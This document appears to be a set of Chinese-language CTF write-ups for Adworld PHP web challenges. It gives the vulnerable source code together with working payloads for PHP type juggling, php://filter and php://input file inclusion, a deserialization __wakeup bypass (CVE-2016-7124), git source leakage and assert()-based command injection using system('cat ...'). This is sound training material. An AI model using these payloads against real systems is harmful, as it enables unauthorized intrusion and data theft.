攻防世界 easyphp
<?php
/**url:http://61.147.171.105:64536/?a=1e9&b=53724&c={"m":"9999a","n":[[0,1,2],0]}**/
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
//GET方式获取a,b
$a = $_GET['a'];
$b = $_GET['b'];
/**a需要满足大于6000000,且a的长度小于3,直接使用科学计数法,传入a=1e9(1e9=1*10^9)**/
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
/**b需要满足对b进行md5加密后,截取密文后6位等于“8b184b”**/
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
/*满足条件则对key1赋值为1*/
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
/**json {m:"",n:""}**/
$c=(array)json_decode(@$_GET['c']);
/**c是否为字符串,是否为数字,m的value不能为数字,且要大于数字2022
再看key为"n"的value必须是一个数组,且value的数量必须为2,且第一个value也必须是一个数组**/
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
/*满足条件则对key2赋值为1*/
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
/**以上条件均满足,才能打印flag的变量**/
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?>
攻防世界 fileclude
/**http://61.147.171.105:58328/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
[DATA]:hello ctf**/
/*http://61.147.171.105:58328/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain;base64,aGVsbG8gY3Rm*/
WRONG WAY!
<?php
/**文件包含漏洞**/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
/**file_get_contents($file2)使用input方法绕过,或者使用data伪协议**/
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
攻防世界 Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
__destruct():构造函数__construct(),它可以在对象被创建时自动调用。与之相对应的函数——析构函数__destruct()该函数会在类的一个对象被删除时自动调用。
__wakeup():__wakeup()在PHP中被称为魔术方法,在进行反序列化时,unserialize()会检查是否存在__wakeup(),若存在,该__wakeup()魔术方法会被先一步调用。
漏洞(CVE-2016-7124)使序列化字符串中表示对象属性个数的值大于真实的属性个数,以此跳过__wakeup 的执行,达到绕过的目的。
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$var = new Demo('fl4g.php'); //创建对象
$serialized_var = serialize($var); //序列化var
echo $serialized_var;
echo "\n";
$a = str_replace(':4:',':+4:',$serialized_var);//绕过正则匹配
echo $a ;
echo "\n";
$b = str_replace(':1:',':2:',$a); //绕过__wakeup()
echo $b ;
echo "\n";
$c = base64_encode($b); //base64加密
echo $c ;
?>
攻防世界 mfw
git源码泄露,在kali中使用工具GitHack(工具下载)
python GitHack.py http://61.147.171.105:58300/.git/
flag.txt的位置, /templates/flag.txt
index.php位置 /index.php
<?php
/*url地址 http://61.147.171.105:58300/?page=111')or system("cat templates/flag.php");//
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
/**发现file变量是用我们输入的page变量拼接而成的,而且没有任何的过滤,我们可以在这段输入的字符中插入system函数来执行系统命令**/
/**payload: /?page=');// **/
注意到调用file时用的单引号和括号来限制file的范围
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
/*strpos()函数查找".."在$file中第一次出现的位置。如果没有找到则返回false
file_exists()函数检查$file是否存在
assert()函数会将括号中的字符当成代码来执行,并返回true或false
strpos()返回“false”,再利用or让其执行system函数,再用//注释符号将后面的语句注释掉*/
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
require_once $file;
?>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
</body>
</html>
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
构建Payload:
?page=') or system('cat ./templates/flag.php');//
被传入之后变成:
$file="templates/') or system('cat ./templates/flag.php');//.php"
strpos()返回false,再利用or让其执行system函数,再用" // "将后面的语句注释掉
assert("strpos('template/') or system('cat ./template/flag.php');//.php, '..') === false")
真正执行了以下语句
strpos('template/') or system('cat ./template/flag.php');
攻防世界 unserialize3
/**url:http://61.147.171.105:52160/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}**/
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
/*编写代码并运行*/
$c = new xctf();
print(serialize($c));
//运行结果 O:4:"xctf":1:{s:4:"flag";s:3:"111";}
?>
此时需要绕过__wakeup()方法:
__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。因此,需要修改序列化字符串中的属性个数:
修改后 O:4:"xctf":2:{s:4:"flag";s:3:"111";}
Payload:http://61.147.171.105:52160/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}